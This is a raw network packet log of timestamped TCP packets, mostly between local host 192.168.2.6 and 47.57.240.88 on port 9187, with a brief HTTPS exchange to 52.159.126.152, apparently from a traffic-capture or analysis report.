Apr 19, 2024 01:33:11.758734941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.758800983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.758842945 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.758873940 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.758884907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.758924961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.758960009 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.758964062 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759006977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759011030 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.759046078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759084940 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759104013 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.759123087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759160995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759177923 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.759198904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759237051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.759241104 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.802414894 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.957788944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.957855940 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.957897902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.957937002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.957956076 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.957978964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.957998991 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.958022118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958061934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958103895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958113909 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.958142042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958153009 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.958183050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958220005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958230019 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.958260059 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958298922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.958344936 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.158799887 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.158865929 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.158905029 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.158943892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.158966064 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.158987045 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.158993959 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.159029961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159069061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159107924 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159147024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159185886 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159212112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.159224987 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159235001 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.159248114 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.159333944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159377098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.159387112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.208662033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.358563900 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358625889 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358664989 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358673096 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.358705044 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358745098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358755112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.358787060 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358825922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.358839035 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.411777973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.458514929 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458580017 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458619118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458655119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458681107 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.458693981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458731890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458739996 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.458770990 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.458771944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458811998 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458852053 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458870888 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.458889961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458929062 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458966970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.458969116 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.459006071 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.459008932 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.505527973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659133911 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659198999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659239054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659260035 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659276009 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659317017 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659344912 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659354925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659394026 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659399986 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659435987 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659475088 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659502029 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659513950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659553051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659571886 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659584999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.659593105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659632921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.659646034 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.706440926 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:12.706480980 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:12.706779957 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:12.707376003 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:12.707391977 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:12.708659887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859067917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859132051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859172106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859210968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859226942 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859251022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859256983 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859292030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859330893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859352112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859369040 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859407902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859446049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859461069 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859486103 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859488964 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:12.859527111 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859565973 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:12.859616995 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.058667898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058734894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058775902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058819056 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058857918 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058897018 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058934927 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.058943033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.058943033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.058943033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.058974028 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.059014082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.059052944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.059082985 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.059092999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.059108973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.097946882 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.098026991 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.099277973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.099766970 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.099775076 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.100332975 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.101929903 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.101988077 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.101994038 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.102229118 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.144190073 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.224486113 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.224559069 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.224893093 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.224962950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.224989891 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.225003004 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.225035906 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.225158930 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.225177050 CEST	443	49720	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:13.225187063 CEST	49720	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:13.225219011 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.560878038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.560944080 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.560986042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.561023951 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.561027050 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.561068058 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.561079979 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.561109066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.561150074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.561153889 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.614928007 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.660753965 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.660859108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.660900116 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.660938978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.660975933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.660984993 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.661016941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661037922 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.661056042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661058903 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.661097050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661135912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661173105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661211014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661251068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661281109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.661281109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.661294937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.661340952 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.860693932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860757113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860795975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860810041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.860837936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860877037 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860909939 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.860915899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860950947 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.860956907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.860995054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861032963 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861040115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.861072063 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861109972 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861109972 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.861148119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861186981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:13.861191034 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:13.911782026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.060815096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.060880899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.060921907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.060962915 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.060970068 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.061002970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061014891 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.061045885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061084986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061124086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061126947 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.061166048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061172962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.061206102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061244965 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061290026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.061302900 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061346054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.061348915 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.114905119 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260401964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260443926 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260529041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260545969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260585070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260622978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260647058 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260660887 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260699034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260736942 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260746956 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260776997 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260781050 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260817051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260854959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260898113 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.260898113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260914087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.260934114 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.302398920 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.461453915 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461517096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461555958 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461595058 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461608887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.461637974 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461658001 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.461679935 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461719990 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461724997 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.461762905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461802959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.461842060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.595912933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.595957041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.595994949 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596009016 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.596034050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596071959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596115112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.596133947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596173048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596180916 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.596213102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596251011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596256971 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.596291065 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596328020 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596365929 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596370935 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.596407890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.596412897 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.661781073 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.795726061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.795767069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.795804977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.795836926 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.796217918 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796278954 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.796283960 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796325922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796370983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796407938 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796416044 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.796447039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796448946 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.796484947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796525002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796564102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796571970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.796605110 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.796607018 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.849303961 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.995560884 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995623112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995662928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995704889 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995704889 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.995749950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995760918 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:14.995794058 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995835066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995843887 CEST	49717	9187	192.168.2.6	47.57.240.88
